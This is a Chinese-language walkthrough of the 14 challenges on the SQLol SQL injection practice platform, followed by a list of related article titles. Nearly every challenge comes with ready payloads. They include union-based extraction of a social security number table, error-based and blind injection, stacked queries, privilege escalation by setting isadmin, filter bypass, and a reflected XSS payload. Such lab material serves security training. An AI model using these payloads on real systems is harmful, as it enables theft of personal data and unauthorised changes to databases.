SQL隱碼攻擊測試平臺SQLol-6.CHALLENGES挑戰
SQLol上面的挑戰共有14關,接下來我們一關一關來突破。
Challenge 0
目的是讓查詢返回所有的使用者名稱,而不是隻有一個。
SELECT username FROM users WHERE username = 【`1`】 GROUP BY username ORDER BY username ASC
注入點在【1】處
構造POC: 1` or 1=1# 或者 1` and 1=2 union select username from users#
都可以查詢到所有的使用者名稱。
Challenge 1
目標是找到資料庫中存在的社會安全號碼錶並提取資訊。
SELECT username FROM users WHERE username = 【`1`】 GROUP BY username ORDER BY username ASC
注入點在【1】處,我們需要知道有哪些表哪些欄位,才能找出所想要的資訊,為此,我們使用information_schema進行查表查列。
構造POC:
查出資料庫所有的庫, ` and 1=2 UNION SELECT table_schema FROM information_schema.tables#
選擇sqlol庫查表, ` and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=`sqlol`#
選擇表,查列, ` and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=`ssn`#
選擇欄位,查資料, ` UNION SELECT concat(name, 0x7e, ssn) FROM ssn#
到此,已經得到所想要的資訊。
Challenge 2
目標是找到資料庫中存在的社會安全號碼錶並提取資訊。
SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC
注入點在【1】處,與challenge1類似,所不同的,這是數字型注入,過濾單引號。
構造POC:
查出資料庫所有的庫,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#
選擇sqlol庫查表, 1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex編碼)
選擇表,查列, 1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex編碼)
選擇欄位,查資料, 1 and 1=2 UNION SELECT concat(name, 0x7e, ssn) FROM ssn#
到此,已經得到所想要的資訊。
Challenge 3
目標是找到資料庫中存在的社會安全號碼錶並提取資訊。
無提示,只輸出一行,詳細錯誤資訊,查詢不顯示,與challenge 1類似。
構造POC:
` UNION SELECT concat(name,`:`,ssn) FROM ssn LIMIT 0,1
Challenge 4
目的是找出資料庫中存在的社會安全號碼錶,並提取其資訊,無盲SQL隱碼攻擊技術。
提示,有詳細的錯誤,可以使用報錯注入
構造POC:
` and extractvalue(1, concat(0x5c,(select user())))#
` AND ExtractValue(1,concat(0x01,(select concat(name,`:`,ssn) from ssn limit 0,1)))#
Challenge 5
目標是找到資料庫中存在的社會安全號碼錶並提取資訊。
提示,使用盲注,無輸入錯誤資訊
構造POC:
得到資料庫的長度: 1` or length(database())=5#
逐字猜解ascii碼: 1` or ascii(mid(database(),1,1))=115#
慢慢猜,總會猜出來的,大致方法就這個。
Challenge 6
目標是建立一個新表稱為“ipwntyourdb”使用堆疊的查詢。
構造POC:
SELECT username FROM users WHERE username = `Herp Derper`;create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC
Challenge 7
目標是找到資料庫中存在的社會安全號碼錶,並從資料庫中刪除任何內容,以提取其資訊。
提示:刪除,報錯,查詢不顯示
POC:
DELETE FROM users WHERE username = `` or updatexml(1,concat(0x7e,(version()),0x7e),0) or``
Challenge 8
目標找到資料庫中存在的社會安全號碼錶並提取資訊。
提示:有黑名單過濾,需繞過,過濾了union,select,where,and,or,–,#等字元。
POC:
` uNion seLect concat(name,`:`,ssn) from ssn uNion selEct null from users whEre username=`
Challenge 9
目的是注入查詢並導致其更新ID為3的使用者”isadmin”更改為1。
UPDATE users SET isadmin = 1 WHERE id = 3
如何把這句拼接到原有注入點,並執行成功呢?
POC:
UPDATE users SET username = `admin`, isadmin = 1 WHERE id = 3#
更新ID為3的username為admin,並把isadmin改為1.
Challenge 10
目標是從資料庫中獲取社會安全號碼。
提示:注入點在【1】處,SELECT 【1】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
POC:
seLect concat(name,`:`,ssn) from ssn#
Challenge 11
目標是從資料庫中獲取社會安全號碼。
POC:
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and (select count(*) from information_schema.columns group by concat(version(),0x27202020,floor(rand(0)*2-1))) ASC
Challenge 12
目的是使用一個SQL隱碼攻擊漏洞執行反射跨站指令碼攻擊。
POC:
1` and <script>alert(11)</script>#
SELECT username FROM users WHERE username = ` 1` and <script>alert(11)</script>#` GROUP BY username ORDER BY username ASC
執行過程中,會報錯,彈窗,然後提示如下:
SELECT username FROM users WHERE username = `1` and #` GROUP BY username ORDER BY username ASC
JavaScript指令碼已經成功在瀏覽器執行。
Challenge 13
目的是從資料庫檢索所有的使用者名稱。
POC:
在沒有過濾單引號的情況下:select username from users where username LIKE `2` or 1=1
過濾了單引號:
通過模糊查詢的方法來盲注,
%,表示任意0個或多個字元
_,表示任意單個字元
[],表示字元括號中所列字元的一個
[^],不在這裡的所列字元
根據頁面返回是否正確得到判斷。
1、得到username的一個首字元
select username from users where username LIKE `P%` LIMIT 0,1
2、判斷以P開頭的首字元有幾位
select username from users where username LIKE `P__________` LIMIT 0,1
3、接著往下猜解唄。。。。
相關文章
- 軟體安全測試之SQL隱碼攻擊SQL
- SQL隱碼攻擊漏洞測試工具比較SQL
- SQL隱碼攻擊SQL
- 【SQL Server】--SQL隱碼攻擊SQLServer
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改SQL
- MYSQL SQL隱碼攻擊MySql
- 【SQL隱碼攻擊原理】SQL
- 防止SQL隱碼攻擊SQL
- SQL隱碼攻擊(一)SQL
- SQL隱碼攻擊(pikachu)SQL
- SQL隱碼攻擊方法SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊SQL
- Data-Hack SQL隱碼攻擊檢測SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-驗證檢查SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-繫結變數SQL變數
- SQL隱碼攻擊原理是什麼?如何防範SQL隱碼攻擊?SQL
- 記一次SQL隱碼攻擊實戰SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-顯式格式化模型SQL模型
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-資料型別轉換SQL資料型別
- SQL隱碼攻擊式攻擊掃描器SQL
- SQL隱碼攻擊語句SQL
- pikachu-SQL隱碼攻擊SQL
- SQL隱碼攻擊導圖SQL
- SQL隱碼攻擊問題SQL
- SQL隱碼攻擊的例子SQL
- ZMLCMS-SQL隱碼攻擊SQL
- SQL隱碼攻擊演練SQL
- 預防SQL隱碼攻擊SQL
- SQL隱碼攻擊總結SQL
- SQL隱碼攻擊靶場實戰-小白入門SQL
- 一次SQL隱碼攻擊實戰記錄SQL
- 使用C#winform編寫滲透測試工具--SQL隱碼攻擊C#ORMSQL
- DVWA-SQL Injection(SQL隱碼攻擊)SQL
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]JavaWebSQL
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]JavaWebSQL
- 【網路安全】什麼是SQL隱碼攻擊漏洞?SQL隱碼攻擊的特點!SQL
- SQL隱碼攻擊關聯分析SQL